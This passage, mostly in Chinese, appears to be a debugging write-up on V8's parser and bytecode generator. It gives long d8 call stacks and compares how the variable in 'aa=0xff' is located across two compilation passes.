libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitConditional(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Conditional * expr) (src/interpreter/bytecode-generator.cc:2985)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitAssignment(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Assignment * expr) (src/interpreter/bytecode-generator.cc:4569)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForEffect(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7151)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitExpressionStatement(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ExpressionStatement * stmt) (src/interpreter/bytecode-generator.cc:1717)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitStatements(v8::internal::interpreter::BytecodeGenerator * this, const v8::internal::ZonePtrList<v8::internal::Statement> * statements) (src/interpreter/bytecode-generator.cc:1710)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitBlockDeclarationsAndStatements(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Block * stmt) (src/interpreter/bytecode-generator.cc:1523)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitBlock(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Block * stmt) (src/interpreter/bytecode-generator.cc:1513)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitStatements(v8::internal::interpreter::BytecodeGenerator * this, const v8::internal::ZonePtrList<v8::internal::Statement> * statements) (src/interpreter/bytecode-generator.cc:1710)
libv8.so!v8::internal::interpreter::BytecodeGenerator::GenerateBytecodeBody(v8::internal::interpreter::BytecodeGenerator * this) (src/interpreter/bytecode-generator.cc:1456)
libv8.so!v8::internal::interpreter::BytecodeGenerator::GenerateBytecode(v8::internal::interpreter::BytecodeGenerator * this, uintptr_t stack_limit) (src/interpreter/bytecode-generator.cc:1391)
libv8.so!v8::internal::interpreter::InterpreterCompilationJob::ExecuteJobImpl(v8::internal::interpreter::InterpreterCompilationJob * this) (src/interpreter/interpreter.cc:200)
libv8.so!v8::internal::UnoptimizedCompilationJob::ExecuteJob(v8::internal::UnoptimizedCompilationJob * this) (src/codegen/compiler.cc:421)
libv8.so!v8::internal::(anonymous namespace)::ExecuteSingleUnoptimizedCompilationJob(v8::internal::ParseInfo * parse_info, v8::internal::FunctionLiteral * literal, v8::internal::Handle<v8::internal::Script> script, v8::internal::AccountingAllocator * allocator, std::Cr::vector<v8::internal::FunctionLiteral*, std::Cr::allocator<v8::internal::FunctionLiteral*> > * eager_inner_literals, v8::internal::LocalIsolate * local_isolate) (src/codegen/compiler.cc:798)
libv8.so!v8::internal::(anonymous namespace)::IterativelyExecuteAndFinalizeUnoptimizedCompilationJobs<v8::internal::Isolate>(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::SharedFunctionInfo> outer_shared_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::ParseInfo * parse_info, v8::internal::AccountingAllocator * allocator, v8::internal::IsCompiledScope * is_compiled_scope, v8::internal::FinalizeUnoptimizedCompilationDataList * finalize_unoptimized_compilation_data_list, v8::internal::DeferredFinalizationJobDataList * jobs_to_retry_finalization_on_main_thread) (src/codegen/compiler.cc:840)
libv8.so!v8::internal::(anonymous namespace)::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:1516)
libv8.so!v8::internal::Compiler::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:2681)
libv8.so!v8::internal::(anonymous namespace)::CompileScriptOnMainThread(const v8::internal::UnoptimizedCompileFlags flags, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::internal::NativesFlag natives, v8::Extension * extension, v8::internal::Isolate * isolate, v8::internal::MaybeHandle<v8::internal::Script> maybe_script, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:3269)
libv8.so!v8::internal::(anonymous namespace)::GetSharedFunctionInfoForScriptImpl(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::Extension * extension, v8::internal::AlignedCachedData * cached_data, v8::internal::BackgroundDeserializeTask * deserialize_task, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3555)
libv8.so!v8::internal::Compiler::GetSharedFunctionInfoForScript(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3580)
libv8.so!v8::ScriptCompiler::CompileUnboundInternal(v8::Isolate * v8_isolate, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2687)
libv8.so!v8::ScriptCompiler::Compile(v8::Local<v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2716)
v8::(anonymous namespace)::Compile<v8::Script>(v8::Local<class v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options) (src/d8/d8.cc:615)
v8::Shell::CompileString<v8::Script>(v8::Isolate * isolate, v8::Local<class v8::Context> context, v8::Local<class v8::String> source, const v8::ScriptOrigin & origin) (src/d8/d8.cc:650)
v8::Shell::ExecuteString(v8::Isolate * isolate, v8::Local<class v8::String> source, v8::Local<class v8::String> name, v8::Shell::PrintResult print_result, v8::Shell::ReportExceptions report_exceptions, v8::Shell::ProcessMessageQueue process_message_queue) (src/d8/d8.cc:855)
v8::SourceGroup::Execute(v8::SourceGroup * this, v8::Isolate * isolate) (src/d8/d8.cc:4431)
v8::Shell::RunMain(v8::Isolate * isolate, bool last_run) (src/d8/d8.cc:5163)
v8::Shell::Main(int argc, char ** argv) (src/d8/d8.cc:5946)
main(int argc, char ** argv) (src/d8/d8.cc:6038)
libc.so.6!__libc_start_call_main(int (*)(int, char **, char **) main, int argc, char ** argv) (out/x64.debug/sysdeps/nptl/libc_start_call_main.h:58)
libc.so.6!__libc_start_main_impl(int (*)(int, char **, char **) main, int argc, char ** argv, int (*)(int, char **, char **) init, void (*)(void) fini, void (*)(void) rtld_fini, void * stack_end) (out/x64.debug/csu/libc-start.c:392)
_start (Unknown Source:0)
第二次字节码生成
进入BytecodeGenerator::BuildVariableAssignment
函数后,发现variable->mode()
的结果是v8::internal::VariableMode::kDynamicGlobal
,variable->location()
的结果是v8::internal::LOOKUP
。选择发射StaLookupSlot
字节码。
调用栈:
libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildVariableAssignment(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Variable * variable, v8::internal::Token::Value op, v8::internal::HoleCheckMode hole_check_mode, v8::internal::LookupHoistingMode lookup_hoisting_mode) (src/interpreter/bytecode-generator.cc:3808)
libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildAssignment(v8::internal::interpreter::BytecodeGenerator * this, const v8::internal::interpreter::BytecodeGenerator::AssignmentLhsData & lhs_data, v8::internal::Token::Value op, v8::internal::LookupHoistingMode lookup_hoisting_mode) (src/interpreter/bytecode-generator.cc:4500)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitAssignment(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Assignment * expr) (src/interpreter/bytecode-generator.cc:4572)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitConditional(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Conditional * expr) (src/interpreter/bytecode-generator.cc:2989)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildLoadPropertyKey(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::LiteralProperty * property, v8::internal::interpreter::Register out_reg) (src/interpreter/bytecode-generator.cc:7099)
libv8.so!v8::internal::interpreter::BytecodeGenerator::BuildClassLiteral(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ClassLiteral * expr, v8::internal::interpreter::Register name) (src/interpreter/bytecode-generator.cc:2662)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitClassLiteral(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ClassLiteral * expr, v8::internal::interpreter::Register name) (src/interpreter/bytecode-generator.cc:2817)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitClassLiteral(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ClassLiteral * expr) (src/interpreter/bytecode-generator.cc:2794)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitConditional(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Conditional * expr) (src/interpreter/bytecode-generator.cc:2985)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForAccumulatorValue(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7136)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitAssignment(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Assignment * expr) (src/interpreter/bytecode-generator.cc:4569)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitForEffect(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Expression * expr) (src/interpreter/bytecode-generator.cc:7151)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitExpressionStatement(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::ExpressionStatement * stmt) (src/interpreter/bytecode-generator.cc:1717)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitStatements(v8::internal::interpreter::BytecodeGenerator * this, const v8::internal::ZonePtrList<v8::internal::Statement> * statements) (src/interpreter/bytecode-generator.cc:1710)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitBlockDeclarationsAndStatements(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Block * stmt) (src/interpreter/bytecode-generator.cc:1523)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitBlock(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::Block * stmt) (src/interpreter/bytecode-generator.cc:1513)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitNoStackOverflowCheck(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::Visit(v8::internal::interpreter::BytecodeGenerator * this, v8::internal::AstNode * node) (src/interpreter/bytecode-generator.h:181)
libv8.so!v8::internal::interpreter::BytecodeGenerator::VisitStatements(v8::internal::interpreter::BytecodeGenerator * this, const v8::internal::ZonePtrList<v8::internal::Statement> * statements) (src/interpreter/bytecode-generator.cc:1710)
libv8.so!v8::internal::interpreter::BytecodeGenerator::GenerateBytecodeBody(v8::internal::interpreter::BytecodeGenerator * this) (src/interpreter/bytecode-generator.cc:1456)
libv8.so!v8::internal::interpreter::BytecodeGenerator::GenerateBytecode(v8::internal::interpreter::BytecodeGenerator * this, uintptr_t stack_limit) (src/interpreter/bytecode-generator.cc:1391)
libv8.so!v8::internal::interpreter::InterpreterCompilationJob::ExecuteJobImpl(v8::internal::interpreter::InterpreterCompilationJob * this) (src/interpreter/interpreter.cc:200)
libv8.so!v8::internal::UnoptimizedCompilationJob::ExecuteJob(v8::internal::UnoptimizedCompilationJob * this) (src/codegen/compiler.cc:421)
libv8.so!v8::internal::(anonymous namespace)::ExecuteSingleUnoptimizedCompilationJob(v8::internal::ParseInfo * parse_info, v8::internal::FunctionLiteral * literal, v8::internal::Handle<v8::internal::Script> script, v8::internal::AccountingAllocator * allocator, std::Cr::vector<v8::internal::FunctionLiteral*, std::Cr::allocator<v8::internal::FunctionLiteral*> > * eager_inner_literals, v8::internal::LocalIsolate * local_isolate) (src/codegen/compiler.cc:798)
libv8.so!v8::internal::(anonymous namespace)::IterativelyExecuteAndFinalizeUnoptimizedCompilationJobs<v8::internal::Isolate>(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::SharedFunctionInfo> outer_shared_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::ParseInfo * parse_info, v8::internal::AccountingAllocator * allocator, v8::internal::IsCompiledScope * is_compiled_scope, v8::internal::FinalizeUnoptimizedCompilationDataList * finalize_unoptimized_compilation_data_list, v8::internal::DeferredFinalizationJobDataList * jobs_to_retry_finalization_on_main_thread) (src/codegen/compiler.cc:840)
libv8.so!v8::internal::Compiler::Compile(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info, v8::internal::Compiler::ClearExceptionFlag flag, v8::internal::IsCompiledScope * is_compiled_scope, v8::internal::CreateSourcePositions create_source_positions_flag) (src/codegen/compiler.cc:2518)
libv8.so!v8::internal::Compiler::Compile(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::JSFunction> function, v8::internal::Compiler::ClearExceptionFlag flag, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:2556)
libv8.so!v8::internal::__RT_impl_Runtime_CompileLazy(v8::internal::RuntimeArguments args, v8::internal::Isolate * isolate) (src/runtime/runtime-compiler.cc:64)
libv8.so!v8::internal::Runtime_CompileLazy(int args_length, v8::internal::Address * args_object, v8::internal::Isolate * isolate) (src/runtime/runtime-compiler.cc:45)
[Unknown/Just-In-Time compiled code] (Unknown Source:0)
对比分析
通过调试过程,我们发现,字节码生成的差异主要由variable->location()
带来:第一次字节码生成时,该表达式内容是v8::internal::UNALLOCATED
。第二次字节码生成时,该表达式内容是v8::internal::LOOKUP
。因此,我们要追踪和差分对比两次Parse过程中,创建variable变量所产生的差异及其根本原因。
Parser
为了跟踪aa=0xff
的Parse过程,我们在src/parsing/parser-base.h:2078
的ParseAssignmentExpressionCoverGrammar()
调用处下断,条件是expr_pos==501
。
我们发现,Parser在此处只对aa新建了VariableProxy对象,而不是Variable对象。根据前述的基础知识,AST构建完成后的变量分配阶段,才会为aa新建Variable对象。因此,我们接下来分析变量分配阶段的相关代码。
调用栈信息:
libv8.so!v8::internal::AstNodeFactory::NewVariableProxy(v8::internal::AstNodeFactory * this, const v8::internal::AstRawString * name, v8::internal::VariableKind variable_kind, int start_position) (src/ast/ast.h:3081)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::NewRawVariable(v8::internal::ParserBase<v8::internal::Parser> * this, const v8::internal::AstRawString * name, int pos) (src/parsing/parser-base.h:841)
libv8.so!v8::internal::ExpressionScope<v8::internal::ParserTypes<v8::internal::Parser> >::NewVariable(v8::internal::ExpressionScope<v8::internal::ParserTypes<v8::internal::Parser> > * this, const v8::internal::AstRawString * name, int pos) (src/parsing/expression-scope.h:54)
libv8.so!v8::internal::Parser::ExpressionFromIdentifier(v8::internal::Parser * this, const v8::internal::AstRawString * name, int start_position, v8::internal::InferName infer) (src/parsing/parser.h:827)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:1943)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseMemberExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3696)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLeftHandSideExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3420)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePostfixExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3387)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseUnaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3377)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBinaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this, int prec) (src/parsing/parser-base.h:3259)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLogicalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3114)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3099)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2914)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2078)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2006)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseMemberExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3696)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLeftHandSideExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3420)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePostfixExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3387)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseUnaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3377)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBinaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this, int prec) (src/parsing/parser-base.h:3259)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLogicalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3114)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3099)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2914)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2055)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalContinuation(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ParserBase<v8::internal::Parser>::ExpressionT expression, int pos) (src/parsing/parser-base.h:3182)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3101)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2914)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2078)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2006)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseMemberExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3696)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLeftHandSideExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3420)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePostfixExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3387)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseUnaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3377)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBinaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this, int prec) (src/parsing/parser-base.h:3259)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLogicalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3114)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3099)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2914)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2055)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseProperty(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ParserBase<v8::internal::Parser>::ParsePropertyInfo * prop_info) (src/parsing/parser-base.h:2311)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseClassPropertyDefinition(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ParserBase<v8::internal::Parser>::ClassInfo * class_info, v8::internal::ParserBase<v8::internal::Parser>::ParsePropertyInfo * prop_info, bool has_extends) (src/parsing/parser-base.h:2392)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseClassLiteral(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::Scope * outer_scope, v8::internal::ParserBase<v8::internal::Parser>::IdentifierT name, v8::internal::Scanner::Location class_name_location, bool name_is_strict_reserved, int class_token_pos) (src/parsing/parser-base.h:4754)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseClassExpression(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::Scope * outer_scope) (src/parsing/parser-base.h:4690)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2021)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseMemberExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3696)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLeftHandSideExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3420)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePostfixExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3387)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseUnaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3377)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBinaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this, int prec) (src/parsing/parser-base.h:3259)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLogicalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3114)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3099)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2914)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2055)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2990)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2078)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2006)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseMemberExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3696)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLeftHandSideExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3420)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePostfixExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3387)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseUnaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3377)
